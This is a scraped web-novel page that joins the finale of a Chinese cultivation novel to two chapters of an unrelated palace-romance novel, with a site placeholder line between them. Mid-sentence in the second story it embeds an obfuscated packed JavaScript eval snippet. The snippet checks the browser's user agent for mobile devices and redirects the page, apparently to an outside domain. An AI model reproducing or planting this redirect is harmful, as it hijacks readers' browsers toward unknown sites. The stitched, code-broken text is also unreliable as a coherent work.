生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百零九章 我必护你到底 “这些事殿下之前已说过了,我赵家祖上乃武将出身,若没有舍生忘死的觉悟,如何能坐到今天这个位置?!” 看着他不以为然的样子,商无忧无奈的叹了口气。 “赵元婴,你没听明白我的意思——我之前一直没想明白,那蛟**究竟是从哪儿来的?我在方寸山生活了十几年,从来未见过这般妖物;直到梦回祭坛我才发现,那阵阵惊雷才是**蛇化蛟的元凶!那咒术十分歹毒,在布雨咒掩盖下我竟毫无察觉,你知道这意味着什么吗?” 赵元婴面色一肃,“知道太初**要施咒法之人,唯几人尔……” 商无忧点了点头,语带悲凉道:“我与她情同手足,没想到她竟会害我……” “那殿下是怀疑……” “阿秋师姐!” 商无忧满目忧伤,低声道:“众师兄弟待我一向宽厚,师姐虚长我几岁,平时亦对我照顾有加,我实在想不通,她究竟为何要这么做……” 被亲近之人背叛,她该有多么伤心! 赵元婴默了默,这才道:“你如何确定是她?” “不是她、便是师父!” 商无忧摇了摇头,“师父的术法一向不灵,他便是想害我也做不到。要想役使那般巨大的妖物,又要皆布雨咒掩盖行迹,咒者唯有在祭台附近才做得到。可那日在祭坛附近的咒者,唯有师姐一人!” “咱们是否该将之拿下?” “阿秋的幻术高深,你我恐不是她的对手。” “昨天那条白**若不是饮了我的血,只怕咱们四人早就死在它口中了!” 商无忧思量半晌,这才道:“虽然师姐就是那施咒人,可在背后指示她的人还没现身,与其打草惊蛇不如伺机而动,唯有如此才能永绝后患!” “赵家人都很好,我实不忍见之受害,咱们还是早日和离了吧!” “殿下所虑周全,可你却忘记了一件事!” 赵元婴收了口中寒意,轻声道:“昨日若不是咱们联手,只怕殿下早成了那巨**的口中餐!” “司命祭礼虽成,可殿下在朝中依旧根基不稳,若有朝一日殿下失去圣心,便再也没有翻身的筹码了!” 赵元婴深深的看了眼榻上虚弱的女子,忽的想起初见时那一幕——那日她衣衫褴褛,眼中凌厉的杀意却如星辰般耀眼。他本以为这样恣意张狂的女子胸中除了复仇再无其他,直到那日卫真倒在血泊中,他才明白癫狂、狠辣不过是伪装,她亦是寻常女子、自然期待被好好对待! 思及此处,脑中的话竟鬼使神差的说出了口—— “殿下是我的妻,我必护你到底!” “赵家与长公主生死与共!” 商无忧睫毛轻颤—— 眼前人话中的深意她听的分明! 他故作温厚时从来会称自己为“元婴”;褪去一切虚伪,他才会在她面前用“你、我”这样平等又亲切的字眼。 “夫妻”一词于他们而言,从来不是情真意切的代名词。她知他会是忠贞不渝的盟友、却不知他能否成为相濡以沫的丈夫! 她身负血海深仇,昔日陷害后族之人还在背后虎视眈眈,她实在不该在此时为此人乱了心智。 可从内心深处,她其实是渴望有一个可以相知相扶、携手走过一生之人的…… “我知殿下并不是怯懦之人!” 赵元婴上前一步,一把牵起她的柔荑,温声道:“你我已是夫妻,和离这种话殿下日后莫要再提……” “大姐姐,无翳看你来了!” 砰! 寝殿的大门被人推开,四公主商无翳一溜烟的跑了进来,身后的乳母见状一脸惊惧,忙低声喝道:“宁国公正与长公主说话,殿下还不快出来!” 赵元婴温柔的笑意渐渐淡去,他转头看向一脸好奇的四公主,不由暗自叹了口气—— 明明只差一点点,就能探明她的心意了! 宁愿和离也要保住他的家人,她心里是不是也有一点点在意自己呢? “你是大姐姐的夫婿?” 四公主大眼眨呀眨,忽的大声道:“你们是在互诉、互诉……那个什么、衷肠吗?” 乳母脸一红,忙上前一步将人抱在怀里,转头朝赵元婴道:“宁国公恕罪,我家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649067|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿下年纪小、不懂事,童言无忌、童言无忌……” 说着一手捂着商无翳的嘴,一边抱着人朝外退去,一边朝余霜致歉:“姑姑莫怪,殿下实在跑的太快,奴婢脚程慢、没能将人拦下。殿下也是忧心长公主,昨日晚间就嚷嚷着来瞧姐姐,奴婢们好说歹说才勉强将人劝下。此番打扰了长公主静养实在是无礼之举,还望姑姑在长公主跟前替四殿下美言几句!” 余霜点了点头,“四公主的心意咱们都明白,只是殿下眼下还未醒,实在受不得搅扰,四公主过两日再来吧!” 商无翳被乳母捂着嘴,一双大眼哀怨的朝床上之人望去—— 大姐姐,您快帮帮无翳啊! 可床上的人胸前包着厚实的纱布,正紧紧闭着双眼,哪里能来救她?! 商无翳见状又将求救的目光移向大姐姐那相貌英俊、看着就和气的夫婿;见那人带着笑朝自己走来,四公主双眼一亮——宁国公这是来替她说情了! 在小丫头期盼的目光中,寝殿的大门啪的一声在她眼前关闭。 商无翳欲哭无泪—— 呜呜呜,大姐姐的夫婿跟传闻中的不一样! 什么翩翩公子?! 分明是个心胸狭窄的小人…… 她要去禀告父皇,让父皇狠狠责罚她! ----------------- “碧云,你不必忙了,不过是些皮外伤,不碍事的!” 赵元吉坐在床上,看着妻子木着脸来回奔波,忙出言安慰道:“刚刚张伯已给伤口清理、上药,他亲口说的不碍事,难道你还不信?” 郭碧云这才丢下手中的帕子,直直盯着自己的丈夫,沉声道:“你的义肢是怎么断的?” 赵元吉一僵,忙道:“你不知道,祭坛中忽然出现了妖物,长公主差点就……好歹是咱们的弟妹,我总不能眼睁睁的看着她去送死……” “你既知道那人是咱们的弟妹,为何不懂得避嫌?” 郭碧云说着眼中忽的一热,不由悲戚道:“雁荡山你死里逃生,却搭上了一条臂膀;如今为了那人,你是连命都不要了吗?!” 第一百一十章 都是为夫的错 “碧云,你这是……” 看着双眼通红的妻子,赵元吉叹了口气。 “长公主是我的师妹,如今又成了元婴的妻子,我怎会对她……” 闻言郭碧云呜咽了一声,“我知道你不是朝秦暮楚之人,可你的所作所为实在令人心寒……长公主曾在深夜进过你的房间,被元宝看见了,当时我还跟孩子解释,婶婶是来给你爹治伤的;可如今为了救她,你连命都可以不要,原来在你心里我们娘儿两个加起来还不赶不上你那童年青梅竹马的师妹来的亲,是吧?” 赵元吉戍守边关多年,夫妻俩聚少离多,儿子和家中事全靠妻子张罗,赵元吉从未见过妻子如此委屈的一面。 